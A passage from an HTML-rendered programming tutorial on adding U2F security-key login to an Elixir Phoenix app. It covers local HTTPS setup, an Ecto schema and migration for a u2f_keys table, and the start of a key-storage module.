&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Add the following lines&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;https: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;port&lt;/span&gt;: &lt;span style=&quot;color: #79c0ff;&quot;&gt;4001&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;cipher_suite: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:strong&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;keyfile: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;priv/cert/selfsigned_key.pem&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;certfile: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;priv/cert/selfsigned.pem&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can now access your server through &lt;a href=&quot;https://localhost:4001&quot;&gt;https://localhost:4001&lt;/a&gt;. If your browser warns you about an &lt;em&gt;insecure&lt;/em&gt; or &lt;em&gt;invalid&lt;/em&gt; certificate, consider allowing insecure certificates for &lt;a href=&quot;https://stackoverflow.com/a/31900210/4138739&quot;&gt;localhost&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-schema-for-the-u2f-keys&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-schema-for-the-u2f-keys&quot;&gt;&lt;/a&gt;The Schema for the U2F-Keys&lt;/h2&gt;
&lt;p&gt;We want to save the U2f-keys given to us by the users for creating challenges for them whenever they try to log in. In your &lt;code&gt;/lib/app&lt;/code&gt; folder, create a new folder called &lt;code&gt;u2f&lt;/code&gt; and add the following schema for the U2F-keys:&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# /lib/u2f/u2f_key.ex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;App.U2FKey&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Schema&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Changeset&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;schema&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;u2f_keys&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:public_key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:string&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:key_handle&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:string&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:version&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:string&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;size: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;default: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;U2F_V2&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:app_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:string&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Change the following field if you want to connect the U2F-key&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# to a user in a different way (e.g. through a &amp;#39;user_id&amp;#39; instead)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:string&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;timestamps&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;doc&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;false&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;changeset&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;cast&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:public_key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:key_handle&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:version&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:app_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;validate_required&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;:public_key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;:key_handle&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;:version&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;:app_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;:username&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This schema will save all necessary information about the U2F-key. I added a &lt;code&gt;username&lt;/code&gt; field to fetch the correct U2F-key for the user who wants to log in. If you want to establish a relationship between a user and a U2F-key in a different way, feel free to change this field to e.g. &lt;code&gt;user_id&lt;/code&gt; instead .&lt;/p&gt;
&lt;p&gt;Next, let&apos;s create a migration for this schema with:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;ecto.gen.migration&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;create_u2f_keys&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Open the newly create migration and add the following code to it:&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;App.Repo.Migrations.CreateU2fKey&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Migration&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;change&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;create&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;table&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:u2f_keys&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:public_key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:string&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:key_handle&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:string&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:version&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:string&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;size: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;default: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;U2F_V2&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:app_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:string&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;      &lt;span style=&quot;color: #8b949e;&quot;&gt;# Again, change this field to e.g. user_id if you want to&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:string&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;timestamps&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, execute the migration with &lt;code&gt;mix ecto.migrate&lt;/code&gt;. This command will create the &lt;code&gt;u2f_keys&lt;/code&gt; table in your database.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-context-for-the-u2f-keys&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-context-for-the-u2f-keys&quot;&gt;&lt;/a&gt;The Context for the U2F-keys&lt;/h2&gt;
&lt;p&gt;For fetching and creating U2F-keys, the &lt;code&gt;u2f_ex&lt;/code&gt;-library requires us to create a context that implements the &lt;code&gt;U2FEx.PKIStorageBehaviour&lt;/code&gt; behaviour, so let&apos;s create a &lt;code&gt;pki_storage.ex&lt;/code&gt; file and add the following code to it:&lt;/p&gt;
&lt;pre id=&quot;code-block-7&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# /lib/app/u2f/pki_storage.ex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;App.PKIStorage&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Query&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;App.Repo&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;App.U2FKey&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;U2FEx.PKIStorageBehaviour&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;behaviour &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;U2FEx.PKIStorageBehaviour&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;impl &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;PKIStorageBehaviour&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;list_key_handles_for_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;keys&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;u&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;U2FKey&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;where: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;u&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;username&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;select: &lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;u&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:version&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:key_handle&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:app_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;
